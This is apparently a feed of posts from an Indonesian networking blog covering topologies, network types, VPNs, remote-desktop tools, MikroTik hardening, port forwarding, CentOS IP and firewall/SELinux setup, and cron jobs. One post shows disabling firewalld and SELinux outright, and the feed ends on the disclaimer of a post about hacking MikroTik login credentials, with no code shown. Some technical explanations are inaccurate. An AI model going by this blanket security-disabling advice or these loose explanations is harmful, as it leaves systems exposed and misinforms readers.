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Selamat datang kembali di blog saya teman – teman, kali ini saya akan membagikan jenis – jenis topologi jaringan beserta fungsinya. Seperti yang kalian tau,topologi jaringan adalah suatu design yang digunakan dalam menyambungkan antar device/node agar dapat saling terkoneksi dan dapat melakukan pertukaran informasi. Pemilihan topologi jaringan didasarkan pada : Skala Jaringan Biaya Tujuan Penggunaan …

The post Jenis – Jenis Topologi Jaringan Beserta Fungsinya appeared first on ReshaJTama.

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Selamat datang kembali di blog saya teman – teman, kali ini saya akan membagikan jenis – jenis topologi jaringan beserta fungsinya. Seperti yang kalian tau,topologi jaringan adalah suatu design yang digunakan dalam menyambungkan antar device/node agar dapat saling terkoneksi dan dapat melakukan pertukaran informasi.

Pemilihan topologi jaringan didasarkan pada :

  • Skala Jaringan
  • Biaya
  • Tujuan
  • Penggunaan

Topologi ini pasti ada di tempat tempat yang memiliki jaringan seperti, kampus,kantor,warnet dan lain lain. Berikut adalah jenis jenis dari topologi :

A. Topologi RING

Topologi Ring ini memiliki bentuk seperti rangkaian titik yang terhubung antar dua titik lain nya, Sehingga membentuk lingkaran seperti Cincin. Masing masing node berfungsi sebagai repeater yang akan memperkuat sinyal.

kelebihan :

  • Mudah untuk di rancang
  • Performa yang lebih baik dan dapat menopang aliran data yang berat
  • Mudah untuk konfigurasi daninstalasi
  • Mudah untuk maintenace jika ada perangkat yang rusak
  • Hemat kabel
  • tidak akan ada collision / Tabrakan saat pengiriman data

kekurangan :

  • Jika salah satu device/node mengalami kendala, otomatis yang lain nya juga ikut terkendala
  • Susah untuk mengembangkan jaringan
  • Kinerja bergantung pada device/node

B. Topologi MESH

Topologi Mesh adalah seuatu bentuk hubungan antar device dimana setiap perangkat terhubung secara langsung ke perangkat lainnya yang ada di dalam jaringan. sehingga perangkat dapat melakukan komunikasi langsung dengan perangkat yang di tuju :

Kelebihan:

  • Data langsung di kirim ke komputer tujuan
  • Memiliki sifat Robust, yang artinya jika ada salah satu Device terkendala, tidak berpengaruh terhadap jaringan Device lain
  • Security & Privasi lebih terjamin
  • Memudahkan proses identifikasi jika ada kerusakan

Kekurangan :

  • Membutuhkan banyak kabel
  • Instalasi dan konfigurasi agak sulit
  • Memakan Space/tempat

C. Topologi Star

Topologi Star adalah suatu bentuk topologi jaringan yang menggunakan switch/hub yang di gunakan sebagai perantara untuk menghubungkan antar Device/Node.

Kelebihan :

  • Kerusakan padasatu kabel, tidak akan berpengaruh terhadap kabel yang lain
  • Tingkat keamanan tinggi
  • Jarang sekali mengalami masalah lalu lintas jaringan
  • Tahan dengan arus data yang tinggi
  • Penambahan Device/Node mudah dilakukan
  • Akses Kontrol terpusat
  • kemudahan untuk mendeteksi kesalahan

Kekurangan :

  • Jika node yang ditengah (switch/hub) nya terkendala, maka jaringan antar node akan ikut terkendala
  • membutuhkan banyak kabel
  • membutuhkan Perangkat khusus yaitu Hub/Switch
  • jaringan tergantung padaterminal pusat
  • biaya jaringan lebih mahal

D. Topologi Line/Bus

Topologi Line atau biasa di sebut Topologi Bus adalah Topologi yang memiliki satu kabel utama yang saling sambung menyambung dengan ujung nya harus di akhiri dengan terminator.Penyambung yang digunakan berjenis BNC (BritishNaval Connector). Topologi inihanya dapat memuat 5 sampai 7 Device saja.

Kelebihan :

  • Hemat kabel
  • Tata letak kabel sederhana
  • Mudah di kembangkan
  • Tidak ada kendali pusat
  • penambahan dan pengurangan dapat dilakukan tanpa menggangu device yang lain
  • Murah

Kekurangan :

  • Deteksi kesalahan yang sangat kecil
  • Kepadatan lalu lintas tinggi
  • Keamanan data kurang
  • Kecepatan menurun jika Device bertambah
  • Di perlukan Repeater

E. Topologi Tree

Topologi tree adalah kumpulan daritopologi bintang danbus. topologi ini di hubungkan dalam satu topologi bus sebagai tulang punggung. Topologi ini disebut sebagai topologi jaringan bertingkat.

Kelebihan :

  • Penambahan dan pengurangan Device mudah
  • Maintenance mudah
  • Sistem dapat di kendalikan terpusat
  • Dapat mengatur Arus Data yang berat
  • Dapat mengelompokan node berdasar kan tempat
  • Keamaan dan privasi

Kekurangan :

  • Biaya yang agak mahal
  • membutuhkan Swith/Hub
  • Membutuhkan banyak kabel

Ya Teman teman, mungkin cukup sekian untuk Blog kali ini, jika teman teman punya masukan silahkan bisa komen dikolom komentar. Terima kasih telah berkunjung

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Jenis – Jenis Jaringan Komputer https://reshajtama.my.id/jenis-jenis-jaringan-komputer/ Fri, 19 Mar 2021 16:19:56 +0000
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Halo teman teman, selamat datang lagi di blog saya. kali ini saya akan membagikan info mengenai beberapa jenis jaringan komputer. jaringan komputer merupakan sebuah cara agar dapat terhubung dan saling berkomunikasi. tanpa adanya jaringan, komputer hanya bisa berkerja sendir atau stand alone. oke langsung saja masuk ke materinya : PAN ( Personal Area Network ) …

The post Jenis – Jenis Jaringan Komputer appeared first on ReshaJTama.

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Halo teman teman, selamat datang lagi di blog saya. kali ini saya akan membagikan info mengenai beberapa jenis jaringan komputer. jaringan komputer merupakan sebuah cara agar dapat terhubung dan saling berkomunikasi. tanpa adanya jaringan, komputer hanya bisa berkerja sendir atau stand alone. oke langsung saja masuk ke materinya :

  • PAN ( Personal Area Network )

Jenis jaringan ini dipakai untuk berkomunikasi antar komputer dengan komputer atau perangkat lain seperti Handphone dan PDA ( personal digital assistent ). Jaringan ini umumnya hanya berjarak antar 4 sampai 10 meter yang di pakai antar perangkat pribadi.Berikut kelebihan dari PAN :

  1. Menghubungkan perangkat komputer satu sama lain
  2. Media komunikasi untuk transfer data secara instant antar perangkat

Contoh dari PAN tersendiri adalah :

  1. Headset Bluetooth
  2. Tranfer data antar perangkat
  3. Mouse dan keyboard Bluetooth
  • LAN ( Local Area Network )

Local Area Network atau LAN adalah jaringan komputer yang memiliki cakupan wilayah kecil seperti jaringan komputer pada kampus, sekolah, gedung, di dalam rumah, kantor dan satu ruangan lainnya. Umumnya, LAN yang ada saat ini berbasis teknologi 802.3.

Masing masing komputer atau node mempunyai daya komputasi sendiri namun berbeda dengan konsep dump terminal. Masing masing komputer juga bisa mengakses sumber daya pada LAN sesuai dengan hak akses yang sudah diatur. Sumber daya ini bisa berupa perangkat atau data seperti contohnya printer.

Ada beberapa fungsi dari Local Area Network atau lebih sering disebut dengan LAN, seperti:

  1. Untuk mempercepat arus informasi dari sebuah server menuju user.
  2. Untuk memudahkan user ketika ingin mengakses informasi.
  3. Untuk mendukung kinerja dan implementasi dari sistem informasi manajemen serta bisnis.
  4. Untuk mempermudah pemeriksaan database yang terdapat di dalam server.
  5. Untuk mempermudah komunikasi antar kantor, bagian serta instansi.
  6. Untuk menghubungkan semua kantor cabang, perwakilan serta kantor pusat di dalam sebuah jaringan.
  7. Untuk mengamankan data serta informasi yang dimiliki perusahaan.

Untuk beberapa contoh dari penggunaan jaringan LAN sudah sangat banyak ditemukan dalam kegiatan sehari hari, seperti:

  1. Telepon.
  2. Hubungan perangkat komputer dengan jaringan telepon baik yang menggunakan kabel atau tanpa kabel (Wireless).
  3. Setting router atau access point.
  4. Internet.
  5. Sharing data.
  6. Sambungan laptop atau PC ke televisi.
  • MAN ( Metropolitas Area Network )

Metropolitan Area Network atau MAN adalah sebuah jaringan di dalam satu kota dengan transfer data berkecepatan tinggi yang menjadi penghubung banyak lokasi seperti perkantoran, kampus, pemerintahan dan masih banyak lagi. Sedangkan jaringan MAN merupakan gabungan dari beberapa buah LAN.

Untuk jangkauan dari MAN sendiri berkisar 10 sampai 50 km dan menjadi jaringan tepat untuk membangun jaringan antar kantor di dalam kota yang sama dan lainnya. Untuk membuat jaringan MAN, umumnya diperlukan operator telekomunikasi yang bisa menghubungkan jaringan komputer dengan jaringan komputer lain.

MAN yang merupakan jenis jaringan komputer dengan jangkauan lebih luas dan lebih canggih dibandingkan LAN memiliki beberapa fungsi seperti:

  1. Untuk membangun dan mengimplementasikan sistem jaringan yang mengombinasikan server supaya bisa memenuhi seluruh kebutuhan internal perusahaan dan pemerintahan.
  2. Untuk menghubungkan jaringan komputer dari satu kota ke kota lainnya yang membutuhkan operator telekomunikasi supaya bisa menghubungkan antara jaringan komputer.
  3. Untuk membuat komunikasi bisa semakin efisien, memudahkan dalam urusan bisnis dan keamanan pada jaringan yang juga lebih baik.
  4. Untuk menunjang data teks serta suara dan bahkan bisa dihubungkan dengan gelombang radio atau jaringan televisi kabel.

Sebenarnya, ada banyak contoh MAN yang bisa ditemukan di Indonesia dan secara tidak sadar anda juga menjadi salah satu pengguna dari jaringan tersebut. Berikut adalah beberapa contoh dari jaringan MAN:

a). Jaringan Bank

Contoh sederhana pertama dari jaringan MAN adalah jaringan bank. Ada beberapa kantor cabang di dalam kota yang menghubungkan satu dengan yang lain seperti contohnya bank Mandiri yang terhubung dengan koneksi jaringan MAN pada wilayah Jakarta, Depok, Bogor, Tangerang serta Bekasi.

b). Jaringan Internet Antar Gedung Kampus

Contoh dari jaringan MAN selanjutnya adalah jaringan gedung di dalam kampus seperti USUNETA untuk produk layanan Universitas Sumatera Utara. Kabel optik yang berkapasitas 1 Gbps akan menghubungkan gedung utama di dalam kampus.

c). Perkantoran

Apabila anda tinggal di kota kota besar seperti Jakarta, maka beberapa kantor tentu memiliki cabang pada kota tersebut. Jaringan tersebut akan dihubungkan dengan MAN sehingga satu kantor cabang akan terhubung dengan kantor cabang lain dalam kota yang sama.

  • WAN ( Wide Area Network )

Wide Area Network atau WAN adalah jaringan komputer yang mencakup area sangat besar seperti contohnya jaringan komputer antar wilayah, kota dan negara yang butuh router serta saluran komunikasi publik.

Seperti jaringan LAN, PAN dan MAN, WAN atau Wide Area Network juga memiliki beberapa fungsi seperti:

  1. Untuk menghubungkan jaringan LAN serta jaringan MAN sehingga bisa menjadi satu jaringan.
  2. Untuk mempercepat proses berbagi data atau biasa disebut dengan sharing file.
  3. Untuk mempercepat dan mempermudah arus komunikasi serta informasi.
  4. Untuk mempermudah update data antar perusahaan atau kantor sekaligus agar lebih murah.
  5. Untuk menyampaikan informasi dengan lebih cepat, lebih mudah serta efisien.

Agar bisa lebih memahami tentang penggunaan dari jaringan WAN, berikut kami berikan beberapa contohnya:

a). Internet

Contoh pertama dari jaringan WAN adalah intern. Dengan internet, semua komputer bisa saling terhubung dalam sebuah jaringan yang bersifat luas serta internasional.

b). Perusahaan Internasional

Sebuah perusahaan internasional umumnya memiliki banyak kantor cabang serta kantor perwakilan di negara yang berbeda. Supaya semua komputer bisa saling terkoneksi antara kantor pusat dengan kantor cabang dan kantor perwakilan, maka WAN dipakai untuk menghubungkan seluruh komputer.

Nah mungkin itu saja teman teman, terima kasih telah berkunjung.

The post Jenis – Jenis Jaringan Komputer appeared first on ReshaJTama.

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Berbagai Jenis VPN dan Kegunaanya https://reshajtama.my.id/berbagai-jenis-vpn-dan-kegunaanya/ Sat, 19 Dec 2020 08:56:06 +0000
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sebagian dari kita tahu kalau internet itu sangat penting dalam pertukaran informasi yang sangat cepat untuk individu dan bisnis. Tetapi untuk keamanan data yang anda kirim dan privasi yang harus anda jaga dalam berinternet. Oleh karena itu kita membutuhkan VPN VPN (Virtual Private Network ) adalah sebuah protokol yang digunakan untuk memperluas jaringan private di …

The post Berbagai Jenis VPN dan Kegunaanya appeared first on ReshaJTama.

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sebagian dari kita tahu kalau internet itu sangat penting dalam pertukaran informasi yang sangat cepat untuk individu dan bisnis. Tetapi untuk keamanan data yang anda kirim dan privasi yang harus anda jaga dalam berinternet. Oleh karena itu kita membutuhkan VPN

VPN (Virtual Private Network ) adalah sebuah protokol yang digunakan untuk memperluas jaringan private di jaringan publik yang memungkinkan untuk mengirim dan menerima data di jaringan yang sama atau publik yang seolah – olah perangkat komputasi mereka terhubung langsung ke jaringan pribadi

Ada beberapa jenis VPN, yaitu :

  • VPN PPTP

VPN PPTP atau Point to Point Tunneling Protocol adalah protokol VPN yang paling sering digunakan. PPTP digunakan untuk para pengguna jarak jauh untuk tersambung dengan jaringan VPN menggunakan koneksi Internet.

Namun kelemahan dari jenis VPN ini adalah tidak memiliki enkripsi, sehingga memungkinkan orang lain masih bisa mengakses data dan privasi kita

  • VPN L2TP

VPN L2TP atau Layer To Tunneling Protocol merupakan VPN yang menggunakan protokol keamanan VPN lainnya guna mendapatkan koneksi yang lebih aman. VPN ini di kembangkan oleh Microsoft dan Cisco. Protocol VPN ini menggunakan enkripsi data dan memusatkan keamanan komunikasi.

L2TP sama dengan PPTP karena menggunakan standard protokol PPP untuk melakukan koneksi.

  • IPSec

IP Sec atau Internet Protocol Security merupakan Protokol VPN yang di gunakan untuk mengamankan Komunikasi internet lintas jaringan IP. IPsec Berfungsi untuk mengamankan komunikasi protokol internet dengan memverifikasi masing – masing sesi dengan enkripsi packet data secara individu. Ada dua mode dalam IPSec yaitu mode transportasi dan mode kanalisasi. Kedua mode itu untuk memproteksi transfer data antar jaringan public yang berbeda.

Kekurangan dari IPSec adalah protokol ini memakan banyak waktu saat pemasangannya di klien sebelum memakan IPSec

  • VPN MPLS

VPN MPLS atau Multi-Protocol Label Switching di gunakan paling banyak untuk koneksi situs ke situs. Hal ini dikarenakan MPLS adalah jenis VPN yang paling Flexible dan mudah beradaptasi. MPLS Merupakan sumber berbasis standard yang di gunakan untuk mempercepat pengiriman paket data melalui banyak protokol.

  • OpenVPN

OpenVPN adalah aplikasi yang opensource (gratis) digunakan untuk VPN. Aplikasi ini menggunakan point to point tunnel yang telah terenkripsi dengan menggunakan private keys, certificate, username dan password saat melakukan sebuah authentikasi dalam proses koneksi.

  • WireGuard

Wiregurd adalah sebuah protokol VPN terbaru, kabarnya mudah digunakan, aman dan efektif yang tersendia saat ini. ini dari enkripsi Wireguard adalah Crypto Essential Routing. ini bekerja dengan menetapkan kunci ekripsi public ke daftar alamat IP VPN yang diizinkan di tunnel. Dalam konfigurasi server, aplikasi nya mengirimkan paket ke jaringan dengan alamat IP Sumber yang cocok dari daftar alamat IP yang diizinkan. dan juga sangat mudah untuk mengubah ip dari kedua sisi tanpa melanggar protokol.

Wireguard dapat digunakan di platform android,Macos danlinux. ada juga versi portable

Ya, mungkin itu saja kawan mengenai sharing saya. terima kasih telah berkunjung.

The post Berbagai Jenis VPN dan Kegunaanya appeared first on ReshaJTama.

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5 Aplikasi untuk me Remote dari jarak jauh, cocok untuk anda yang WFH (Work From Home ) https://reshajtama.my.id/5-aplikasi-untuk-me-remote-dari-jarak-jauh-cocok-untuk-anda-yang-wfh-work-from-home/ Sat, 18 Apr 2020 04:59:42 +0000
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Selamat datang di Blog saya, kali ini saya akan membagikan aplikasi aplikasi untuk remote dari rumah. apasih itu remote yang saya maksud ?. remote yang saya maksud disini adalah, anda dapat mengakses nya secara penuh, anda dapat bertukar file, menggerakan mouse nya, membuka aplikasi nya. dan masih banyak lagi Remote Desktop Siapa yang tidak tahu …

The post 5 Aplikasi untuk me Remote dari jarak jauh, cocok untuk anda yang WFH (Work From Home ) appeared first on ReshaJTama.

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Selamat datang di Blog saya, kali ini saya akan membagikan aplikasi aplikasi untuk remote dari rumah. apasih itu remote yang saya maksud ?. remote yang saya maksud disini adalah, anda dapat mengakses nya secara penuh, anda dapat bertukar file, menggerakan mouse nya, membuka aplikasi nya. dan masih banyak lagi

  • Remote Desktop

Siapa yang tidak tahu dengan aplikasi ini, ya Remote Desktop Protocol adalah salah satu service yang ada di windows, semua platform windows dapat menggunakan aplikasi ini dengan mudah, tetapi bukan berarti System operasi lain tidak bisa menggunakannya. sekarang linux juga dapat menggunakan Aplikasi ini dengan package tambahan seperti reminna, atau xrdp.

Untuk menggunakan Aplikasi ini ,komputer anda harus terkonek atau satu jaringan dengan komputer yang ingin di remote. atau anda bisa juga menggunakan ip public dengan cara ip forwadding.

  • UltraVNC

Ultra VNC adalah Aplikasi remote yang mudah di gunakan dan gratis, VNC menggunakan Remote Buffer Protocol (RFB) memungkinkan desktop dapat di lihat dan di kendalikan dari jarak jauh melalui internet. Sebelum remote, anda harus menjalankan server vnc pada komputer yang ingin anda remote. jadi initinya komputer peremote dan komputer yang akan di remote harus terinstall ultra vnc. aplikasi ini juga tidak terlalu besar. lalu jika koneksi anda terlalu kurang stabil, anda dapat mengurangi resulosi, warna pada layar komputer yang di remote, agar lebih enteng.

  • Chrome Desktop

Aplikasi ini di buat oleh google. dengan cara membuka browser Chrome dari google kemudian kita install plugin “Chrome Desktop”, setelah di install anda akan masuk ke Account Google. tidak seperti Ultra VNC dan Remote Desktop, anda tidak perlu memasukan IP Address untuk me remote. anda hanya perlu memasukan Code Unik pada komputer yang anda remote dari google Chrome nya. jadi lebih aman, karena kita bisa mengubah ubah Code Unik nya.

  • Team Viewer

Siapa yang tidak tau dengan team viewer, pasti kalian sering menggunakan aplikasi ini untuk meremote. aplikasi ini dapat di gunakan di segala platform. team viewer juga menggunakan Code Unik untuk dapat meremote komputer lain. tetapi ukuran dari aplikasi ini lumayan besar, tetapi dari ukurannya ini , aplikasi ini memiliki keunggulan dari aplikasi yang lain, yaitu dapat meremote, secara group, meeting, dan dapat save contact komputer yang di remote.

Anda dapat menggunakan aplikasi ini dengan menggunakan trial mode, karena pada dasar nya aplikasi ini berbayar

  • Anydesk

Anydesk sama dengan Team viewe, merupakan aplikasi berbayar. tetapi dia memiliki size yang kecil dan anda dapat menggunakan nya dengan mode trial. metode nya juga sama dengan chrome desktok dan team viewe, yaitu dengan Code Unik untuk meremote. aplikasi ini juga bisa di gunakan System Operasi apa saja atau Cross Platform. Aplikasi ini juga dapat di pasang pada Rasberry Pi, yaitu mikro controller.

Oke mungkin ini adalah aplikasi aplikasi untuk remote yang saya rekomendasikan kepada anda. semoga berguna dan bermanfaat.

The post 5 Aplikasi untuk me Remote dari jarak jauh, cocok untuk anda yang WFH (Work From Home ) appeared first on ReshaJTama.

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Cara mematikan MAC ADDRESS BroadCast pada Mikrotik https://reshajtama.my.id/cara-mematikan-mac-address-broadcast-pada-mikrotik/ Sun, 12 Apr 2020 10:02:13 +0000
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selamat datang di blog saya, kali ini saya akan membagikan tutorial bagaimana cara menyembunyikan/ hide Mac Address atau menghentikan proses Broadcast Mac Address pada mikrotik. Apasih proses Broadcasting pada mikrotik ?. seperti yang kalian tau, saat membuka aplikasi pendukung mikrotik, yaitu winbox. Pasti winbox akan melakukan Scan Mac Address Mikrotik yang ada di jaringan yang …

The post Cara mematikan MAC ADDRESS BroadCast pada Mikrotik appeared first on ReshaJTama.

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selamat datang di blog saya, kali ini saya akan membagikan tutorial bagaimana cara menyembunyikan/ hide Mac Address atau menghentikan proses Broadcast Mac Address pada mikrotik. Apasih proses Broadcasting pada mikrotik ?. seperti yang kalian tau, saat membuka aplikasi pendukung mikrotik, yaitu winbox. Pasti winbox akan melakukan Scan Mac Address Mikrotik yang ada di jaringan yang sama, seperti berikut :

Ini adalah kelebihan mikrotik, tetapi ini juga adalah kelemahanya. karena dengan begitu orang orang yang ada di dalam jaringan, dapat mengetahui ada berapa device mikrotik yang ada di jaringan yang dia masuki. Dengan begitu mereka bisa melakukan proses exploitasi/ mengambil control terhadap mikrotik tersebut. oleh karena itu untuk lebih amannya kita bisa menyembunyikan/hide Mac Address dengan menghentikan proses broadcasting nya. Oke langsung saja ke tutorial nya :

  1. Masuk ke router OS anda
  2. Kemudian masuk ke menu IP > Neighboor

3. Kemudian pilih interface yang akan di beri akses untuk mendiscovery mac address nya.

Anda juga dapat melakukannya dengan proxy-arp, perbedaannya hanya pada broadcast nya. pada proxy-arp broadcast akan tetap berjalan, tetapi peng akses tidak dapat menggunakan mac address tersebut untuk masuk ke Router. berikut cara nya :

  1. Buka RouterOS dengan winbox
  2. Kemudian pilih menu Interface
  3. disini anda tinggal pilih interface yang ingin menggunakan proxy-arp

mungkin tutorial berikut dapat membantu anda untuk mengamankan router agar dapat terproteksi dan tidak terkena exploitas. semoga berguna dan terima kasih telah berkunjung.

The post Cara mematikan MAC ADDRESS BroadCast pada Mikrotik appeared first on ReshaJTama.

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Cara Forwarding IP dengan Windows 7/8/10 https://reshajtama.my.id/cara-forwarding-ip-dengan-windows-7-8-10/ Wed, 26 Feb 2020 05:24:07 +0000
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Selamat datang di blog saya, kali ini saya akan membagikan tutorial bagaimana cara memforward Ip address dengan windows. Ini mungkin sangat berguna sekali jika kalian ingin me relay service dari computer lain, seperti web service(80), ftp(21), smtp(25), pop3(110), ssh(22), mysql(3306) dan lain nya. Langsung saja ke tutorial nya : Buka   Command prompt sebagai Administrator Kemudian …

The post Cara Forwarding IP dengan Windows 7/8/10 appeared first on ReshaJTama.

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Selamat datang di blog saya, kali ini saya akan membagikan tutorial bagaimana cara memforward Ip address dengan windows. Ini mungkin sangat berguna sekali jika kalian ingin me relay service dari computer lain, seperti web service(80), ftp(21), smtp(25), pop3(110), ssh(22), mysql(3306) dan lain nya.

Langsung saja ke tutorial nya :

  1. Buka   Command prompt sebagai Administrator
  2. Kemudian ketikan perintah berikut :
  • Listenaddress            = IP Komputer kamu
  • Listenport                   = port yang ingin di gunakan
  • Connectaddress       = IP server
  • Connectport              = port server yang digunakan

Disini saya memforward website yang ada di ip 192.168.1.5 di port 80 menjadi 192.168.1.1 di port 80. Jadi user lain dapat mengakses nya di web 192.168.1.1

Sekian tutorial dari saya, semoga berguna dan bermanfaat. Terima kasih

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CentOS 7 : Konfigurasi IP Address & Hostname pada CentOS 7 https://reshajtama.my.id/centos-7-konfigurasi-ip-address-hostname-pada-centos-7/ Tue, 17 Sep 2019 08:56:20 +0000
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Selamat datang di blog saya, kali ini saya akan membagikan bagaimana cara untuk mensetting ip address pada CentOS 7. Caranya sangat mudah, silahkan ikuti langkah – langkah berikut ini : Setting Hostname Mendisplay interface Setting IPv4 dengan nmcli Setting Default gateway Setting DNS (Domain Name Server) Restart & reload setting Melihat semua settingan itu ya …

The post CentOS 7 : Konfigurasi IP Address & Hostname pada CentOS 7 appeared first on ReshaJTama.

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Selamat datang di blog saya, kali ini saya akan membagikan bagaimana cara untuk mensetting ip address pada CentOS 7. Caranya sangat mudah, silahkan ikuti langkah – langkah berikut ini :

  • Setting Hostname
[root@localhost ~]# hostnamectl set-hostname reshajtama.my.id 
  • Mendisplay interface
[root@localhost ~]# nmcli d

DEVICE       TYPE      STATE      CONNECTION
eth0         ethernet  connected  eth0
lo           loopback  unmanaged  --

  • Setting IPv4 dengan nmcli
[root@localhost ~]# nmcli c modify eth0 ipv4.addresses 192.168.1.10/24 
  • Setting Default gateway
[root@localhost ~]# nmcli c modify eth0 ipv4.gateway 192.168.1.1
  • Setting DNS (Domain Name Server)
nmcli c modify eth0 ipv4.dns 8.8.8.8
  • Restart & reload setting
[root@localhost ~]# nmcli c down eth0; nmcli c up eth0

Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/1) 
  • Melihat semua settingan itu
[root@localhost ~]# ip addr show

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:0c:29:cd:9c:2d brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.10/24 brd 192.168.1.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fecd:9c2d/64 scope link
       valid_lft forever preferred_lft forever

ya berikut adalah bagaimana kita memanagement ip address, hostname dan DNS pada Centos 7.

The post CentOS 7 : Konfigurasi IP Address & Hostname pada CentOS 7 appeared first on ReshaJTama.

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CentOS 7 : Setting Firewall & SELinux di CentOS https://reshajtama.my.id/centos-7-setting-firewall-selinux-di-centos/ Sun, 18 Aug 2019 14:49:21 +0000
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Selamat datang di blog saya, kali ini saya akan membagikan tutorial untuk mensetting Firewall & SELinux pada sistem operasi CentOS 7. Firewall adalah sebuah system yang di rancang untuk memblok akses jaringan yang tidak di inginkan pada suatu jaringan internal. sedangkan SELinux (Security Enchaned Linux) itu sendiri adalah sebuah system security yang sudah ada pada …

The post CentOS 7 : Setting Firewall & SELinux di CentOS appeared first on ReshaJTama.

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Selamat datang di blog saya, kali ini saya akan membagikan tutorial untuk mensetting Firewall & SELinux pada sistem operasi CentOS 7.

Firewall adalah sebuah system yang di rancang untuk memblok akses jaringan yang tidak di inginkan pada suatu jaringan internal. sedangkan SELinux (Security Enchaned Linux) itu sendiri adalah sebuah system security yang sudah ada pada Distro turunan Redhat, Centos dan seterus nya.

Terkadang kita tidak bisa mengakses hal – hal tertentu karena kebijakan dari SELinux dan Firewall itu sendiri. Oleh karena itu kita perlu memanagement nya agar sesuai dengan kebutuhan kita.

  • Management Firewall

Untuk memanagement Firewall anda bisa melihat status dari Firewall tersebut dengan perintah berikut :

[root@reshajtama ~]# systemctl status firewalld 
● firewalld.service - firewalld - dynamic firewall daemon
   Loaded: loaded (/usr/lib/systemd/system/firewalld.service; disabled; vendor preset: enabled)
   Active: active (running) since Thu 2015-03-31 19:36:27 JST; 2s ago
 Main PID: 1308 (firewalld)
   CGroup: /system.slice/firewalld.service
           └─1308 /usr/bin/python -Es /usr/sbin/firewalld --nofork --nopid

Untuk menghentikan firewall sementara, kita bisa menggunakan perintah berikut :

[root@reshajtama ~]# systemctl stop firewalld

untuk mendisable firewall agar tidak berjalan saat startup bisa menggunakan perintah berikut :

[root@reshajtama ~]# systemctl disable firewalld 
  • Management SELinux

Untuk melihat apakah SELinux berjalan atau tidak bisa menggunakan perintah berikut :

[root@reshajtama ~]# sestatus

atau dengan menggunakan perintah

[root@reshajtama ~]# getenforce

untuk menghentikan atau mengubah status dari SELinux itu sendiri dapat dengan mengubah file konfig dari SELinux itu sendiri , seperti berikut :

[root@reshajtama ~]# vi /etc/selinux/config

# This file controls the state of SELinux on the system.
# SELINUX= can take one of these three values:
#     enforcing - SELinux security policy is enforced.
#     permissive - SELinux prints warnings instead of enforcing.
#     disabled - No SELinux policy is loaded.
SELINUX=disabled   # change to disabled
# SELINUXTYPE= can take one of these two values:
#     targeted - Targeted processes are protected,
#     minimum - Modification of targeted policy. Only selected processes are protected.
#     mls - Multi Level Security protection.
SELINUXTYPE=targeted

Oke sekian dari saya, terima kasih telah berkunjung. semoga bermanfaat.

The post CentOS 7 : Setting Firewall & SELinux di CentOS appeared first on ReshaJTama.

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Membuat Program berjalan sesuai waktu yang di tentukan dengan Cron-Job https://reshajtama.my.id/membuat-program-berjalan-sesuai-waktu-yang-di-tentukan-dengan-cron-job/ Mon, 24 Jun 2019 04:08:28 +0000
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http://reshajtama.my.id/?p=74 Deprecated: Implicit conversion from float 1789178993.606309 to int loses precision in /home/reshajt1/public_html/wp-content/plugins/intelly-related-posts/includes/classes/utils/Logger.php on line 93

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Halo semuanya, selamat datang di Blog saya kembali. Kali ini saya akan membagikan tutorial Cron-Job. apa itu Cron-Job ?. Cron-job adalah sebuah service di linux untuk menjalankan sebuah perintah dalam waktu yang di tentukan. jadi ini sangat berguna sekali untuk kita. Seperti saat kita ingin membersihkan cache vps atau wordpress kita selama seminggu sekali. Kita …

The post Membuat Program berjalan sesuai waktu yang di tentukan dengan Cron-Job appeared first on ReshaJTama.

]]>

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Halo semuanya, selamat datang di Blog saya kembali. Kali ini saya akan membagikan tutorial Cron-Job. apa itu Cron-Job ?. Cron-job adalah sebuah service di linux untuk menjalankan sebuah perintah dalam waktu yang di tentukan. jadi ini sangat berguna sekali untuk kita.

Seperti saat kita ingin membersihkan cache vps atau wordpress kita selama seminggu sekali. Kita hanya perlu membuat jadwal yang akan menjalankan perintah tersebut.

Oke langsung saja ke tutorial nya Masuk ke VPS linux anda

  • Masuk ke VPS linux anda
  • kemudian jalankan perintah berikut, untuk melihat cron-job yang sudah di buat.
crontab -l
  • kalau anda ingin menambahkan list yang ingin di jalan kan. masukan perintah berikut
crontab -e
  • jika muncul tampilan seperti ini, anda tinggal memilih text-editor yang ingin di gunakan
Select an editor.  To change later, run 'select-editor'.
  1. /bin/ed
  2. /bin/nano        <---- easiest
  3. /usr/bin/code
  4. /usr/bin/vim.tiny

Choose 1-4 [2]: 
  • Anda tinggal menambahkan perintah sesuai dengan format berikut
# m h  dom mon dow   command
* * * * * dir
(m)   Minute        = 0-59
(h) Hour = 0-24
(dom) Day_of_month = 1-31
(mon) Month = 1-12
(dow) Day_of_week = 0-6
Command = Command yang ingin di jalankan

berikut adalah format nya. jika anda ingin melakukan proses backup directory /home ke backup setiap 7 hari. anda hanya membuat perintah berikut .

#m h dom mon dow command
0 0 * * 6 cp -r /home /back

yah mungkin seperti itu saja tutorial saya kali ini. semoga bermanfaat, terima kasih.

The post Membuat Program berjalan sesuai waktu yang di tentukan dengan Cron-Job appeared first on ReshaJTama.

]]>
Hack Mikrotik dengan Python untuk mendapatkan User Dan Password Login https://reshajtama.my.id/hack-mikrotik-dengan-python-untuk-mendapatkan-user-dan-password-login/ Thu, 09 May 2019 20:16:09 +0000
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http://reshajtama.my.id/?p=62 Deprecated: Implicit conversion from float 1789178993.610872 to int loses precision in /home/reshajt1/public_html/wp-content/plugins/intelly-related-posts/includes/classes/utils/Logger.php on line 93

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Halo, Selamat datang lagi di Blog saya. disini saya hanya membagikan tutorial ini untuk kebaikan, saya tidak pernah menyuruh anda untuk keburukan, jadi jangan di salah gunakan ya teman – teman. Kalian yang mempunyai Basic Jaringan pasti mengetahui betul perangkat ini. Mikrotik adalah vendor Router dan Switch yang sangat populer, karena harganya murah dan memiliki …

The post Hack Mikrotik dengan Python untuk mendapatkan User Dan Password Login appeared first on ReshaJTama.

]]>

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Halo, Selamat datang lagi di Blog saya. disini saya hanya membagikan tutorial ini untuk kebaikan, saya tidak pernah menyuruh anda untuk keburukan, jadi jangan di salah gunakan ya teman – teman.
